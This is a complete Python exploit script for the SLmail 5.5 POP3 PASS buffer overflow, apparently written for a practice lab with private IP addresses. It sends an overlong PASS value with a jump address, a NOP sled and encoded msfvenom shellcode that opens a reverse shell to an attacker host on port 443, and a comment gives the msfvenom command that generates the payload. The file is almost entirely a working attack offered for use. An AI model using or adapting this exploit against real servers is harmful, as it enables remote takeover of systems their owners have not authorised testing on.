Pasted

#!/usr/bin/env python3
# SLmail 5.5 POP3 PASS Buffer Overflow
# Created by Ismael Vazquez (https://www.iamismael.com)
# Discovered by: Muts
import socket 
 
def pwn(exploit):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        print("Connection being made.")
        s.connect(("192.168.233.129", 110))
        data = s.recv(1024)
        print(data.decode(), end="")
        s.send("USER sl_exploit\r\n".encode())
        data = s.recv(1024)
        print(data.decode(), end="")
        print("Exploit being sent.")
        exploit = b"PASS " + exploit
        exploit += b"\r\n"
        s.send(exploit)
        data = s.recv(1024)
        print(data.decode(), end="")
        s.send("QUIT\r\n".encode())
        data = s.recv(1024)
        print(data.decode())
        s.close()
    except:
        print("Unable to connect to SLMail")
        s.close()
        exit()
 
#msfvenom -p windows/shell_reverse_tcp --arch x86 --platform windows LHOST=192.168.233.130 LPORT=443 -e x86/shikata_ga_nai -f python -v payload -b "\x00\x0a\x0d" EXITFUNC=thread
 
payload =  b""
payload += b"\xb8\xc0\x29\xc9\xa0\xd9\xed\xd9\x74\x24\xf4\x5d"
payload += b"\x31\xc9\xb1\x52\x31\x45\x12\x03\x45\x12\x83\x05"
payload += b"\x2d\x2b\x55\x79\xc6\x29\x96\x81\x17\x4e\x1e\x64"
payload += b"\x26\x4e\x44\xed\x19\x7e\x0e\xa3\x95\xf5\x42\x57"
payload += b"\x2d\x7b\x4b\x58\x86\x36\xad\x57\x17\x6a\x8d\xf6"
payload += b"\x9b\x71\xc2\xd8\xa2\xb9\x17\x19\xe2\xa4\xda\x4b"
payload += b"\xbb\xa3\x49\x7b\xc8\xfe\x51\xf0\x82\xef\xd1\xe5"
payload += b"\x53\x11\xf3\xb8\xe8\x48\xd3\x3b\x3c\xe1\x5a\x23"
payload += b"\x21\xcc\x15\xd8\x91\xba\xa7\x08\xe8\x43\x0b\x75"
payload += b"\xc4\xb1\x55\xb2\xe3\x29\x20\xca\x17\xd7\x33\x09"
payload += b"\x65\x03\xb1\x89\xcd\xc0\x61\x75\xef\x05\xf7\xfe"
payload += b"\xe3\xe2\x73\x58\xe0\xf5\x50\xd3\x1c\x7d\x57\x33"
payload += b"\x95\xc5\x7c\x97\xfd\x9e\x1d\x8e\x5b\x70\x21\xd0"
payload += b"\x03\x2d\x87\x9b\xae\x3a\xba\xc6\xa6\x8f\xf7\xf8"
payload += b"\x36\x98\x80\x8b\x04\x07\x3b\x03\x25\xc0\xe5\xd4"
payload += b"\x4a\xfb\x52\x4a\xb5\x04\xa3\x43\x72\x50\xf3\xfb"
payload += b"\x53\xd9\x98\xfb\x5c\x0c\x0e\xab\xf2\xff\xef\x1b"
payload += b"\xb3\xaf\x87\x71\x3c\x8f\xb8\x7a\x96\xb8\x53\x81"
payload += b"\x71\x07\x0b\x60\x03\xef\x4e\x72\x05\x4b\xc7\x94"
payload += b"\x6f\xbb\x8e\x0f\x18\x22\x8b\xdb\xb9\xab\x01\xa6"
payload += b"\xfa\x20\xa6\x57\xb4\xc0\xc3\x4b\x21\x21\x9e\x31"
payload += b"\xe4\x3e\x34\x5d\x6a\xac\xd3\x9d\xe5\xcd\x4b\xca"
payload += b"\xa2\x20\x82\x9e\x5e\x1a\x3c\xbc\xa2\xfa\x07\x04"
payload += b"\x79\x3f\x89\x85\x0c\x7b\xad\x95\xc8\x84\xe9\xc1"
payload += b"\x84\xd2\xa7\xbf\x62\x8d\x09\x69\x3d\x62\xc0\xfd"
payload += b"\xb8\x48\xd3\x7b\xc5\x84\xa5\x63\x74\x71\xf0\x9c"
payload += b"\xb9\x15\xf4\xe5\xa7\x85\xfb\x3c\x6c\xa5\x19\x94"
payload += b"\x99\x4e\x84\x7d\x20\x13\x37\xa8\x67\x2a\xb4\x58"
payload += b"\x18\xc9\xa4\x29\x1d\x95\x62\xc2\x6f\x86\x06\xe4"
payload += b"\xdc\xa7\x02"
 
 
buffer = b"A" * 2606
shellcode_jmp = b"\x8f\x35\x4a\x5f"
padding = b"\x90" * 8
 
pwn(buffer + shellcode_jmp + padding + payload)